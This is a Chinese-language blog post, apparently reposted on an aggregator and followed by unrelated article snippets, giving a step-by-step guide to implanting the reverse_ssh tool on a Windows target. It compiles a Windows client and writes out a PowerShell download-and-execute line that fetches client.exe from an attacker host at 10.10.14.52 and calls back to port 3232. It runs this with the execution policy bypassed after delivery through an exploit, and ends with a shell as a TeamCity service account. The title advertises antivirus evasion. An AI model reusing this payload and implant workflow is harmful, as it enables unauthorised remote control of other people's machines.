reverse_ssh 建立反向 SSH 連接指南 混淆AV [好東西喲]

目錄

🌐 工具簡介

?? 前提條件

攻擊主機 (Linux)

目標主機 (Windows)

📋 詳細步驟

步驟 1:安裝 Go 環境

步驟 2:安裝必要依賴

步驟 3:下載并編譯 reverse_ssh

步驟 4:配置密鑰

步驟 5:啟動 reverse_ssh 服務器

步驟 6:創建 PowerShell 腳本

步驟 7:生成 diff.txt

步驟 8:啟動 HTTP 服務器

步驟 9:目標主機:執行 PowerShell 腳本

步驟 10:攻擊主機:確認連接并獲取 ID

步驟 11:攻擊主機:建立 SSH 連接

?? 錯誤排查與修復

錯誤 1:主機密鑰驗證失敗

錯誤 2:公鑰認證失敗


🌐 工具簡介

reverse_ssh 是一個基于 Go 語言開發的開源工具,用于創建反向 SSH 連接。它允許 Windows 目標主機繞過防火墻或 NAT,主動連接到攻擊主機的 SSH 服務器,提供交互式 PowerShell shell。

  • 服務器端:運行在攻擊主機,監聽指定端口(如 3232)。

  • 客戶端 (client.exe):運行在 Windows 目標主機,連接到攻擊主機。

  • 功能:支持動態端口轉發、文件傳輸(SCP/SFTP)及 Windows 交互式 shell(通過 conpty/winpty)。


?? 前提條件

攻擊主機 (Linux)

  • 操作系統:Linux(如 Ubuntu)。

  • 工具:Git、Go(版本 1.17 或更高)、make、Python3、OpenSSH 客戶端。

  • 防火墻:開放端口 3232(服務器端口)和 80(HTTP 服務器端口)。

  • IP 地址:10.10.14.52(通過 ifconfig 或 ip addr 確認)。

  • 用戶:以 root 或普通用戶(如 fidey)操作,需注意文件權限。

目標主機 (Windows)

  • 系統:Windows(支持 PowerShell)。

  • 網絡:可訪問 10.10.14.52:3232 和 10.10.14.52:80。

  • 權限:通過漏洞利用或其他方式可執行 PowerShell 腳本。


📋 詳細步驟

以下步驟假設工作目錄為 /home/fidey/Desktop/reverse_ssh,用戶為 fidey,但以 root 執行部分命令。

步驟 1:安裝 Go 環境

目標:確保 Go(版本 1.17 或更高)正確安裝以編譯 reverse_ssh。

  1. 檢查現有 Go 版本:

    go version
  2. 如果版本低于 1.17 或未安裝,繼續以下步驟。

  3. 卸載舊版 Go(如有):

    sudo rm -rf /usr/local/go
    sudo apt remove golang-go -y
  4. 下載并安裝 Go 1.22.3(截至 2025/05/21 的最新版本):

    wget https://go.dev/dl/go1.22.3.linux-amd64.tar.gz
    sudo tar -C /usr/local -xzf go1.22.3.linux-amd64.tar.gz
  5. 配置環境變量:

    • 編輯 ~/.bashrc 或 ~/.zshrc:

    vim ~/.bashrc
    • 添加:

    export PATH=$PATH:/usr/local/go/bin
  6. 使配置生效:

    source ~/.bashrc
  7. 驗證 Go 安裝:

    go version

    預期輸出

    go version go1.22.3 linux/amd64
  8. 如果輸出不正確,檢查下載鏈接或環境變量配置。


步驟 2:安裝必要依賴

目標:確保系統具備編譯和運行 reverse_ssh 的依賴。

  1. 更新系統包索引:

    sudo apt update
  2. 安裝 Git 和 make:

    sudo apt install git make -y
  3. 安裝 OpenSSH 客戶端(用于后續 SSH 連接):

    sudo apt install openssh-client -y
  4. 攻擊主機生成ssh公鑰私鑰 命令解釋:ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N "" ############## ssh-keygen OpenSSH 提供的密鑰生成工具,用于創建 SSH 認證所需的公鑰/私鑰對。 ############## -t ed25519 指定密鑰類型為 ed25519(基于 Edwards-curve Digital Signature Algorithm)。 優勢:安全性高(等效 RSA 3072 位)、生成速度快、密鑰長度短(僅 256 位)。 ############## -f ~/.ssh/id_ed25519 指定私鑰保存路徑為 ~/.ssh/id_ed25519(用戶家目錄下的 .ssh 文件夾)。 公鑰會自動生成在同路徑下,文件名追加 .pub(即 ~/.ssh/id_ed25519.pub)。 ############## -N "" 設置密鑰的密碼(passphrase)為空(""表示無密碼)。 若需密碼保護,可替換為 -N "your_password"。 ############## 命令輸出示例:

    Generating public/private ed25519 key pair.
    Your identification has been saved in /home/user/.ssh/id_ed25519
    Your public key has been saved in /home/user/.ssh/id_ed25519.pub
    The key fingerprint is:
    SHA256:AbCdEfGhIjKlMnOpQrStUvWxYz1234567890 user@hostname
    The key's randomart image is:
    +--[ED25519 256]--+
    | ? ? ?  .o+o. ?  |
    | ? ? ? . oo . .  |
    | ? ?  . .  = o ? |
    | ? ? ? o  = * .  |
    | ? ?  . S + + .  |
    | ? ? ? ? o = . ? |
    | ? ? ? ?  + . ?  |
    | ? ? ? ? . E ? ? |
    | ? ? ? ?  .. ? ? |
    +----[SHA256]-----+

步驟 3:下載并編譯 reverse_ssh

目標:從 GitHub 獲取 reverse_ssh v1.0.16 并編譯生成服務器和客戶端。

  1. 創建工作目錄:

    mkdir -p /home/fidey/Desktop/reverse_ssh
    cd /home/fidey/Desktop/reverse_ssh
  2. 克隆 reverse_ssh 倉庫(指定 v1.0.16):

    git clone --branch v1.0.16 https://github.com/NHAS/reverse_ssh.git
    cd reverse_ssh
  3. 編譯服務器和客戶端:

    make

    預期輸出

    • bin/server(Linux 服務器)

    • bin/client(Linux 客戶端)

    • bin/id_ed25519(服務器私鑰)

    • bin/id_ed25519.pub(服務器公鑰)

  4. 為 Windows 編譯客戶端:

    GOOS=windows GOARCH=amd64 make client

    預期輸出:bin/client.exe(Windows 可執行文件)。

  5. 驗證編譯結果:

    ls -l bin/

    預期輸出

    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 client.exe
    -rwxr-xr-x 1 fidey fidey 12345678 May 21 13:00 server
    -rw------- 1 fidey fidey ? ?  411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey ? ?  102 May 21 13:00 id_ed25519.pub

步驟 4:配置密鑰

目標:配置服務器密鑰和攻擊主機公鑰以接受連接。

  1. 進入 bin 目錄:

    cd bin
  2. 檢查服務器密鑰:

    ls id_ed25519 id_ed25519.pub
  3. 若缺失,重新生成:

    ssh-keygen -t ed25519 -f id_ed25519 -N ""
  4. 生成攻擊主機的 SSH 密鑰對(若未生成):

    • 檢查 root 用戶密鑰:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
    • 若不存在,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  5. 創建并配置 authorized_keys:

    • 創建 authorized_keys 文件:

    touch authorized_keys
    • 添加攻擊主機的公鑰(假設以 root 連接):

    cat /root/.ssh/id_ed25519.pub >> authorized_keys

    注意:不要將 id_ed25519.pub(服務器公鑰)復制到 authorized_keys,這是常見錯誤。

  6. 設置文件權限:

    chmod 600 authorized_keys id_ed25519
    chmod 644 id_ed25519.pub
  7. 驗證權限:

    ls -l authorized_keys id_ed25519 id_ed25519.pub

    預期輸出

    -rw------- 1 fidey fidey 102 May 21 13:01 authorized_keys
    -rw------- 1 fidey fidey 411 May 21 13:00 id_ed25519
    -rw-r--r-- 1 fidey fidey 102 May 21 13:00 id_ed25519.pub

步驟 5:啟動 reverse_ssh 服務器

目標:運行服務器,監聽 0.0.0.0:3232。

  1. 確保在 bin 目錄:

    pwd

    預期輸出

    /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin
  2. 啟動服務器:

    ./server 0.0.0.0:3232 --insecure

    --insecure:跳過部分握手驗證,簡化連接。 預期輸出

    2025/05/21 13:17:02 Listening on 0.0.0.0:3232
    2025/05/21 13:17:02 Loading private key from: /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin/id_ed25519
    2025/05/21 13:17:02 Server key fingerprint: df32b00476bafa0d...
  3. 若提示 authorized_keys 缺失,檢查步驟 4。

  4. 驗證端口監聽:

    netstat -tuln | grep 3232

    預期輸出

    tcp ? ? ?  0 ? ?  0 0.0.0.0:3232 ? ? ? ? ?  0.0.0.0:* ? ? ? ? ? ? ? LISTEN

步驟 6:創建 PowerShell 腳本

目標:生成腳本讓目標主機下載并執行 client.exe。

  1. 創建 hello_world.ps1:

    echo 'iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232' > hello_world.ps1
  2. 驗證腳本內容:

    cat hello_world.ps1

    預期輸出

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232

步驟 7:生成 diff.txt

目標:將腳本保存為 diff 格式,便于傳遞。

  1. 初始化 Git 倉庫:

    git init
  2. 添加并生成 diff:

    git add hello_world.ps1
    git diff --cached > diff.txt
  3. 驗證 diff.txt:

    cat diff.txt

    預期輸出

    diff --git a/hello_world.ps1 b/hello_world.ps1
    new file mode 100644
    --- /dev/null
    +++ b/hello_world.ps1
    @@ -0,0 +1 @@
    +iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe;C:\windows\temp\client.exe 10.10.14.52:3232

步驟 8:啟動 HTTP 服務器

目標:提供 client.exe 下載。

  1. 確保 client.exe 存在:

    ls client.exe
  2. 啟動 HTTP 服務器:

    python3 -m http.server 80

    在新終端運行,避免干擾服務器進程。

  3. 驗證:在攻擊主機或另一臺機器上運行:

    curl http://10.10.14.52:80/client.exe

    應返回二進制數據或下載文件。


步驟 9:目標主機:執行 PowerShell 腳本

目標:通過漏洞利用運行腳本,建立反向連接。

  1. 傳遞腳本:

    • 將 diff.txt 內容轉換為 C:\temp\hello_world.ps1(通過漏洞傳遞)。

    • 示例內容:

    iwr http://10.10.14.52:80/client.exe -outfile C:\windows\temp\client.exe; C:\windows\temp\client.exe 10.10.14.52:3232
  2. 執行腳本:

    • 在目標主機打開 PowerShell(Win + R,輸入 powershell)。

    • 運行:

    powershell -ExecutionPolicy Bypass -File C:\temp\hello_world.ps1
    • 腳本下載 client.exe 并運行,連接到 10.10.14.52:3232。

  3. 檢查 client.exe 是否運行:

    dir C:\windows\temp\client.exe
    • 若缺失,檢查 HTTP 服務器或防病毒軟件攔截。


步驟 10:攻擊主機:確認連接并獲取 ID

目標:記錄目標主機的連接 ID。

  1. 查看服務器終端輸出:

    • 成功連接示例:

    2025/05/21 13:20:00 [10.10.11.207:53849] INFO sshd.go:360 acceptConn() : New controllable connection with id 36bc39ca884246b576a98cf7168e530becb34e
  2. 記錄連接 ID(如 36bc39ca884246b576a98cf7168e530becb34e)。


步驟 11:攻擊主機:建立 SSH 連接

目標:通過連接 ID 獲取目標主機的 PowerShell shell。

  1. 嘗試連接:

    ssh -J 10.10.14.52:3232 36bc39ca884246b576a98cf7168e530becb34e
  2. 成功后進入 PowerShell shell: 預期輸出

    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    PS C:\TeamCity\buildAgent\work\74c2f03019966b3e> whoami
    coder\svc_teamcity

?? 錯誤排查與修復

錯誤 1:主機密鑰驗證失敗

錯誤信息

WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!
Host key for [10.10.14.52]:3232 has changed and you have requested strict checking.
Host key verification failed.

原因:/root/.ssh/known_hosts 中的主機密鑰與當前服務器密鑰不匹配。 解決方案

  1. 移除舊主機密鑰:

    ssh-keygen -f "/root/.ssh/known_hosts" -R "[10.10.14.52]:3232"
  2. 臨時禁用嚴格檢查(僅測試用):

    ssh -J 10.10.14.52:3232 -o StrictHostKeyChecking=no 36bc39ca884246b576a98cf7168e530becb34e
  3. 重新連接:

    ssh -J 10.10.14.52:3232 <connection_id>

錯誤 2:公鑰認證失敗

錯誤信息

root@10.10.14.52: Permission denied (publickey).
kex_exchange_identification: Connection closed by remote host

原因:攻擊主機的公鑰未在服務器的 authorized_keys 中。 解決方案

  1. 檢查攻擊主機密鑰:

    ls -l /root/.ssh/id_ed25519 /root/.ssh/id_ed25519.pub
  2. 若缺失,生成:

    sudo ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ""
  3. 添加公鑰到 authorized_keys:

    cat /root/.ssh/id_ed25519.pub >> /home/fidey/Desktop/reverse_ssh/reverse_ssh/bin

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/85177.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/85177.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/85177.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Ubuntu 下搭建ESP32 ESP-IDF開發環境,并在windows下用VSCode通過SSH登錄Ubuntu開發ESP32應用

Ubuntu 下搭建ESP32 ESP-IDF開發環境&#xff0c;網上操作指南很多&#xff0c;本來一直也沒有想過要寫這么一篇文章。因為我其實不太習慣在linux下開發應用&#xff0c;平時更習慣windows的軟件操作&#xff0c;只是因為windows下開發ESP32的應用編譯時太慢&#xff0c;讓人受…

Rust使用Cargo構建項目

文章目錄 你好&#xff0c;Cargo&#xff01;驗證Cargo安裝使用Cargo創建項目新建項目配置文件解析默認代碼結構 Cargo工作流常用命令速查表詳細使用說明1. 編譯項目2. 運行程序3.快速檢查4. 發布版本構建 Cargo的設計哲學約定優于配置工程化優勢 開發建議1. 新項目初始化?2. …

免費且好用的PDF水印添加工具

軟件介紹 琥珀掃描.zip下載鏈接&#xff1a;https://pan.quark.cn/s/3a8f432b29aa 今天要給大家推薦一款超實用的PDF添加水印工具&#xff0c;它能夠滿足用戶給PDF文件添加水印的需求&#xff0c;而且完全免費。 這款PDF添加水印的軟件有著簡潔的界面&#xff0c;操作簡便&a…

NW969NW978美光閃存顆粒NW980NW984

NW969NW978美光閃存顆粒NW980NW984 技術解析&#xff1a;NW969、NW978、NW980與NW984的架構創新 美光&#xff08;Micron&#xff09;的閃存顆粒系列&#xff0c;尤其是NW969、NW978、NW980和NW984&#xff0c;代表了存儲技術的前沿突破。這些產品均采用第九代3D TLC&#xf…

Mysql常用知識3:Kafka和數據庫優化

文章目錄 一、分布式消息系統&#xff08;Kafka相關問題5-10&#xff09;5. Kafka如何保證消息不丟失&#xff1f;6. 項目中Kafka具體怎么使用的&#xff1f;7. 消息異常未發送成功怎么解決&#xff1f;8. 重試具體怎么做的&#xff0c;循環嗎&#xff1f;9. 重試多次失敗怎么辦…

常見的RAG文檔解析輔助工具匯總及企業選型思考

以下當前比較知名的RAG的文檔解析輔助工具的開源項目匯總&#xff0c;包含核心功能、License信息及GitHub地址&#xff1a; 1. RAGFlow 核心功能&#xff1a;支持PDF/掃描件/CAD等23種格式解析&#xff0c;OCR準確率98%&#xff0c;知識圖譜融合&#xff0c;混合檢索&#xf…

基于Sqoop的MySQL-Hive全量/增量同步解決方案(支持多表批量處理

一、全量同步方案設計 1.1 基礎命令模板 sqoop import \ --connect jdbc:mysql://mysql_host:3306/db_name \ --username user \ --password pass \ --table source_table \ --hive-import \ --hive-table target_table \ --hive-overwrite \ # 覆蓋已有表 --num-mappers 8 …

前端學習(7)—— HTML + CSS實現博客系統頁面

目錄 一&#xff0c;效果展示 二&#xff0c;實現博客列表頁 2.1 實現導航欄 2.2 實現個人信息 2.3 實現博客列表 三&#xff0c;實現博客正文頁 3.2 復用 3.4 實現博客正文 四&#xff0c;實現博客登錄頁 4.1 版心 4.2 登錄框 五&#xff0c;實現博客編輯頁 5.1 …

【技能拾遺】——家庭寬帶單線復用布線與配置(移動2025版)

&#x1f4d6; 前言&#xff1a;在家庭網絡拓撲中&#xff0c;客廳到弱電箱只預埋了一根網線&#xff0c;由于已將廣電的有線電視取消并改用IPTV。現在需要解決在客廳布置路由器和觀看IPTV問題&#xff0c;這里就用到單線復用技術。 目錄 &#x1f552; 1. 拓撲規劃&#x1f55…

VTK|實現類似CloundCompare的測量功能

文章目錄 CloundCompare在點、線、面三種模式下的顯示內容? 圖1&#xff1a;點模式? 圖2&#xff1a;線模式? 圖3&#xff1a;面模式 增加控制菜單欄實現測量功能類如何調用項目git鏈接 CloundCompare在點、線、面三種模式下的顯示內容 點 線 面 三張圖展示了 CloudComp…

4000萬日訂單背后,餓了么再掀即時零售的“效率革命”

當即時零售轉向價值深耕&#xff0c;贏面就是綜合實力的強弱。 文&#xff5c;郭夢儀 編&#xff5c;王一粟 在硝煙彌漫的外賣行業“三國殺”中&#xff0c;餓了么與淘寶閃購的日訂單量竟然突破了4000萬單。 而距淘寶閃購正式上線&#xff0c;還不到一個月。 在大額福利優惠…

vedio.ontimeupdate()和video.onloadeddata()

video.onloadeddata &#xff08;&#xff09; video.onloadeddata 是 JavaScript 中用于監聽 HTML <video> 元素 「當前幀數據已加載」 的事件處理器。當視頻的第一幀畫面數據加載完成&#xff08;足以開始播放&#xff09;時&#xff0c;會觸發此事件。 1. 基本用法 …

Baklib內容中臺革新企業知識實踐

Baklib智能知識中樞構建 作為現代企業知識管理的核心架構&#xff0c;Baklib內容中臺通過整合多源異構數據形成智能化知識中樞&#xff0c;實現從信息采集到價值轉化的全鏈路管理。其底層采用跨平臺數據貫通技術&#xff0c;支持API接口與企業現有CRM、ERP系統無縫對接&#x…

用不太嚴謹的文字介紹遙測自跟蹤天線的基本原理

前兩天跟一個客戶見面的時候&#xff0c;客戶問我&#xff1a;遙測自跟蹤天線能夠跟蹤目標&#xff0c;是什么原理&#xff1f;不需要目標的位置&#xff0c;怎么做到自跟蹤的&#xff1f; 突然一瞬間&#xff0c;有點語塞。 難道要介紹天線、饋源、極化、左旋、右旋、和差網…

VS配置redis環境、redis簡單封裝

一、安裝redis數據庫 1.下載redis的壓縮包 wget https://download.redis.io/releases/redis-6.0.5.tar.g 2.解壓縮redis壓縮包&#xff0c;一般就在當前路徑 tar -zvxf redis-6.0.5.tar.gz -C /usr/local/redis 方便找我把它解壓縮在/usr/local/redis&#xff0c;如果沒有r…

C++23 已移除特性解析

文章目錄 引言C23 已移除特性介紹1. 垃圾收集的支持和基于可達性的泄漏檢測&#xff08;P2186R2&#xff09;背景與原理存在的問題移除的影響 2. 混合寬字符串字面量拼接非良構&#xff08;P2201R1&#xff09;寬字符串編碼概述混合拼接的問題示例分析移除的意義 3. 不可編碼寬…

Cloudflare

Cloudflare 是一個網絡基礎設施和網站安全服務提供商&#xff0c;它的主要作用是讓網站 更快、更安全、更可靠。簡單來說&#xff0c;它是一個“護盾 加速器”。 &#x1f9e9; Cloudflare 的主要功能&#xff1a; 1. &#x1f680; 加速網站訪問&#xff08;CDN&#xff09…

Spring Boot啟動慢?Redis緩存擊穿?Kafka消費堆積?——Java后端常見問題排查實戰

Spring Boot啟動慢&#xff1f;Redis緩存擊穿&#xff1f;Kafka消費堆積&#xff1f;——Java后端常見問題排查實戰 引言 Java后端系統因其豐富的技術棧和復雜的業務邏輯&#xff0c;常常面臨啟動延遲、性能瓶頸、異常錯誤等多種挑戰。從核心語言、Web框架到分布式微服務及緩…

數字人引領政務新風尚:智能設備助力政務服務

在信息技術飛速發展的今天&#xff0c;政府機構不斷探索提升服務效率和改善服務質量的新途徑。實時交互數字人在政務服務中的應用正成為一大亮點&#xff0c;通過將“數字公務員”植入各種橫屏智能設備中&#xff0c;為民眾辦理業務提供全程輔助。這種創新不僅優化了政務大廳的…

ToolsSet之:十六進制及二進制編輯運算工具

ToolsSet是微軟商店中的一款包含數十種實用工具數百種細分功能的工具集合應用&#xff0c;應用基本功能介紹可以查看以下文章&#xff1a; Windows應用ToolsSet介紹https://blog.csdn.net/BinField/article/details/145898264 ToolsSet中Number菜單下的Hex Operate工具可以進…